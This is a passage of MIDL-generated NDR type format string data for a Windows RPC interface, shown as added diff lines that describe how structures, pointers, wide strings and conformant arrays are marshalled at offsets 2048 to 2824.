*/ +/* 2048 */ + 0x12, 0x0, /* FC_UP */ +/* 2050 */ NdrFcShort( 0x2 ), /* Offset= 2 (2052) */ +/* 2052 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2054 */ NdrFcShort( 0x28 ), /* 40 */ +/* 2056 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2058 */ NdrFcShort( 0xc ), /* Offset= 12 (2070) */ +/* 2060 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2062 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2064 */ NdrFcShort( 0xf80c ), /* Offset= -2036 (28) */ +/* 2066 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 2068 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 2070 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2072 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2074 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2076 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2078 */ + 0x12, 0x0, /* FC_UP */ +/* 2080 */ NdrFcShort( 0x18 ), /* Offset= 24 (2104) */ +/* 2082 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2084 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2086 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2088 */ NdrFcShort( 0x28 ), /* 40 */ +/* 2090 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2092 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2096 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2098 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2100 */ NdrFcShort( 0xfb60 ), /* Offset= -1184 (916) */ +/* 2102 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2104 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2106 */ NdrFcShort( 0x38 ), /* 56 */ +/* 2108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2110 */ NdrFcShort( 0x10 ), /* Offset= 16 (2126) */ +/* 2112 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2114 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2116 */ NdrFcShort( 0xf7d8 ), /* Offset= -2088 (28) */ +/* 2118 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 2120 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2122 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 2124 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2126 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2128 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2130 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2132 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2134 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2136 */ NdrFcShort( 0xffca ), /* Offset= -54 (2082) */ +/* 2138 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2140 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2142 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2144 */ NdrFcShort( 0x0 ), /* Offset= 0 (2144) */ +/* 2146 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2148 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2150 */ NdrFcShort( 0xfebe ), /* Offset= -322 (1828) */ +/* 2152 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2154 */ + 0x1b, /* FC_CARRAY */ + 0x1, /* 1 */ +/* 2156 */ NdrFcShort( 0x2 ), /* 2 */ +/* 2158 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2160 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2162 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2164 */ 0x5, /* FC_WCHAR */ + 0x5b, /* FC_END */ +/* 2166 */ + 0x1b, /* FC_CARRAY */ + 0x1, /* 1 */ +/* 2168 */ NdrFcShort( 0x2 ), /* 2 */ +/* 2170 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2172 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2174 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2176 */ 0x5, /* FC_WCHAR */ + 0x5b, /* FC_END */ +/* 2178 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2180 */ NdrFcShort( 0x30 ), /* 48 */ +/* 2182 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2184 */ NdrFcShort( 0x10 ), /* Offset= 16 (2200) */ +/* 2186 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2188 */ NdrFcShort( 0xf7e2 ), /* Offset= -2078 (110) */ +/* 2190 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 2192 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2194 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2196 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 2198 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2200 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2202 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2204 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2206 */ NdrFcShort( 0xffcc ), /* Offset= -52 (2154) */ +/* 2208 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2210 */ NdrFcShort( 0xffd4 ), /* Offset= -44 (2166) */ +/* 2212 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2214 */ NdrFcShort( 0x48 ), /* 72 */ +/* 2216 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2218 */ NdrFcShort( 0x0 ), /* Offset= 0 (2218) */ +/* 2220 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2222 */ NdrFcShort( 0xffac ), /* Offset= -84 (2138) */ +/* 2224 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2226 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (2178) */ +/* 2228 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 2230 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 2232 */ NdrFcShort( 0x2 ), /* Offset= 2 (2234) */ +/* 2234 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 2236 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2238 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2240 */ NdrFcShort( 0xf750 ), /* Offset= -2224 (16) */ +/* 2242 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2244 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 2246 */ + 0x11, 0x0, /* FC_RP */ +/* 2248 */ NdrFcShort( 0xff92 ), /* Offset= -110 (2138) */ +/* 2250 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2252 */ NdrFcShort( 0x2 ), /* Offset= 2 (2254) */ +/* 2254 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 2256 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2258 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 2260 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2262 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2264 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 2266 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2268 */ NdrFcShort( 0x2 ), /* Offset= 2 (2270) */ +/* 2270 */ + 0x12, 0x0, /* FC_UP */ +/* 2272 */ NdrFcShort( 0x18 ), /* Offset= 24 (2296) */ +/* 2274 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2276 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2278 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2280 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2282 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2284 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2288 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2290 */ + 0x12, 0x0, /* FC_UP */ +/* 2292 */ NdrFcShort( 0xf8e8 ), /* Offset= -1816 (476) */ +/* 2294 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2296 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2298 */ NdrFcShort( 0x38 ), /* 56 */ +/* 2300 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2302 */ NdrFcShort( 0xe ), /* Offset= 14 (2316) */ +/* 2304 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 2306 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2308 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2310 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2312 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2314 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 2316 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2318 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2320 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2322 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (2274) */ +/* 2324 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 2326 */ NdrFcShort( 0xa ), /* Offset= 10 (2336) */ +/* 2328 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 2330 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2332 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 2334 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 2336 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2338 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2340 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2342 */ NdrFcShort( 0x0 ), /* Offset= 0 (2342) */ +/* 2344 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2346 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2348 */ NdrFcShort( 0xffec ), /* Offset= -20 (2328) */ +/* 2350 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2352 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2354 */ NdrFcShort( 0x2 ), /* Offset= 2 (2356) */ +/* 2356 */ + 0x12, 0x0, /* FC_UP */ +/* 2358 */ NdrFcShort( 0xfd7a ), /* Offset= -646 (1712) */ +/* 2360 */ + 0x11, 0x0, /* FC_RP */ +/* 2362 */ NdrFcShort( 0x2 ), /* Offset= 2 (2364) */ +/* 2364 */ + 0x1b, /* FC_CARRAY */ + 0x1, /* 1 */ +/* 2366 */ NdrFcShort( 0x2 ), /* 2 */ +/* 2368 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 2370 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2372 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2374 */ 0x5, /* FC_WCHAR */ + 0x5b, /* FC_END */ +/* 2376 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2378 */ NdrFcShort( 0x2 ), /* Offset= 2 (2380) */ +/* 2380 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2382 */ NdrFcShort( 0x2 ), /* Offset= 2 (2384) */ +/* 2384 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2386 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2388 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2390 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2392 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2394 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2398 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2400 */ + 0x12, 0x0, /* FC_UP */ +/* 2402 */ NdrFcShort( 0xfb56 ), /* Offset= -1194 (1208) */ +/* 2404 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2406 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2408 */ NdrFcShort( 0x2 ), /* Offset= 2 (2410) */ +/* 2410 */ + 0x12, 0x0, /* FC_UP */ +/* 2412 */ NdrFcShort( 0x2 ), /* Offset= 2 (2414) */ +/* 2414 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2416 */ NdrFcShort( 0x30 ), /* 48 */ +/* 2418 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2420 */ NdrFcShort( 0xa ), /* Offset= 10 (2430) */ +/* 2422 */ 0x36, /* FC_POINTER */ + 0xb, /* FC_HYPER */ +/* 2424 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2426 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2428 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 2430 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2432 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2434 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2436 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2438 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2440 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2442 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2444 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2446 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2448 */ NdrFcShort( 0x2 ), /* Offset= 2 (2450) */ +/* 2450 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2452 */ NdrFcShort( 0x2 ), /* Offset= 2 (2454) */ +/* 2454 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 2456 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2458 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2460 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2462 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2464 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 2466 */ + 0x11, 0x0, /* FC_RP */ +/* 2468 */ NdrFcShort( 0x2 ), /* Offset= 2 (2470) */ +/* 2470 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2472 */ NdrFcShort( 0x38 ), /* 56 */ +/* 2474 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2476 */ NdrFcShort( 0xc ), /* Offset= 12 (2488) */ +/* 2478 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2480 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 2482 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2484 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2486 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 2488 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2490 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2492 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2494 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2496 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2498 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2500 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2502 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2504 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2506 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2508 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2510 */ NdrFcShort( 0x2 ), /* Offset= 2 (2512) */ +/* 2512 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2514 */ NdrFcShort( 0x18 ), /* Offset= 24 (2538) */ +/* 2516 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2518 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2520 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2522 */ NdrFcShort( 0x8 ), /* Offset= 8 (2530) */ +/* 2524 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2526 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2528 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2530 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2532 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2534 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2536 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2538 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2540 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2542 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2544 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2546 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2548 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2552 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2554 */ + 0x12, 0x0, /* FC_UP */ +/* 2556 */ NdrFcShort( 0xffd8 ), /* Offset= -40 (2516) */ +/* 2558 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2560 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2562 */ NdrFcShort( 0x2 ), /* Offset= 2 (2564) */ +/* 2564 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2566 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2568 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 2570 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2572 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2574 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2578 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2580 */ + 0x12, 0x0, /* FC_UP */ +/* 2582 */ NdrFcShort( 0xffbe ), /* Offset= -66 (2516) */ +/* 2584 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2586 */ + 0x11, 0x8, /* FC_RP [simple_pointer] */ +/* 2588 */ 0x2, /* FC_CHAR */ + 0x5c, /* FC_PAD */ +/* 2590 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2592 */ NdrFcShort( 0x2 ), /* Offset= 2 (2594) */ +/* 2594 */ + 0x12, 0x0, /* FC_UP */ +/* 2596 */ NdrFcShort( 0x38 ), /* Offset= 56 (2652) */ +/* 2598 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2600 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2602 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2604 */ NdrFcShort( 0x6 ), /* Offset= 6 (2610) */ +/* 2606 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2608 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2610 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2612 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2614 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2616 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2618 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2620 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2622 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2624 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2626 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2628 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2632 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2634 */ + 0x12, 0x0, /* FC_UP */ +/* 2636 */ NdrFcShort( 0xffda ), /* Offset= -38 (2598) */ +/* 2638 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2640 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 2642 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2644 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 2646 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2648 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2650 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 2652 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2654 */ NdrFcShort( 0x30 ), /* 48 */ +/* 2656 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2658 */ NdrFcShort( 0xc ), /* Offset= 12 (2670) */ +/* 2660 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 2662 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2664 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 2666 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 2668 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 2670 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2672 */ NdrFcShort( 0xffca ), /* Offset= -54 (2618) */ +/* 2674 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2676 */ NdrFcShort( 0xffdc ), /* Offset= -36 (2640) */ +/* 2678 */ + 0x11, 0x0, /* FC_RP */ +/* 2680 */ NdrFcShort( 0xffe4 ), /* Offset= -28 (2652) */ +/* 2682 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2684 */ NdrFcShort( 0x2 ), /* Offset= 2 (2686) */ +/* 2686 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2688 */ NdrFcShort( 0x2 ), /* Offset= 2 (2690) */ +/* 2690 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2692 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2694 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2696 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2698 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2700 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2704 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2706 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2708 */ NdrFcShort( 0xf57c ), /* Offset= -2692 (16) */ +/* 2710 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2712 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2714 */ NdrFcShort( 0x2 ), /* Offset= 2 (2716) */ +/* 2716 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2718 */ NdrFcShort( 0x1a ), /* Offset= 26 (2744) */ +/* 2720 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 2722 */ NdrFcShort( 0x20 ), /* 32 */ +/* 2724 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2726 */ NdrFcShort( 0xa ), /* Offset= 10 (2736) */ +/* 2728 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 2730 */ NdrFcShort( 0xf566 ), /* Offset= -2714 (16) */ +/* 2732 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 2734 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2736 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2738 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2740 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2742 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2744 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2746 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2748 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2750 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2752 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2754 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2758 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2760 */ + 0x12, 0x0, /* FC_UP */ +/* 2762 */ NdrFcShort( 0xffd6 ), /* Offset= -42 (2720) */ +/* 2764 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2766 */ + 0x11, 0x0, /* FC_RP */ +/* 2768 */ NdrFcShort( 0xfdfe ), /* Offset= -514 (2254) */ +/* 2770 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2772 */ NdrFcShort( 0x2 ), /* Offset= 2 (2774) */ +/* 2774 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2776 */ NdrFcShort( 0x14 ), /* Offset= 20 (2796) */ +/* 2778 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 2780 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2782 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2784 */ NdrFcShort( 0x8 ), /* Offset= 8 (2792) */ +/* 2786 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 2788 */ 0x40, /* FC_STRUCTPAD4 */ + 0xb, /* FC_HYPER */ +/* 2790 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2792 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 2794 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 2796 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 2798 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2800 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 2802 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2804 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 2806 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 2810 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 2812 */ + 0x12, 0x0, /* FC_UP */ +/* 2814 */ NdrFcShort( 0xffdc ), /* Offset= -36 (2778) */ +/* 2816 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 2818 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 2820 */ NdrFcShort( 0x2 ), /* Offset= 2 (2822) */ +/* 2822 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 2824 */ 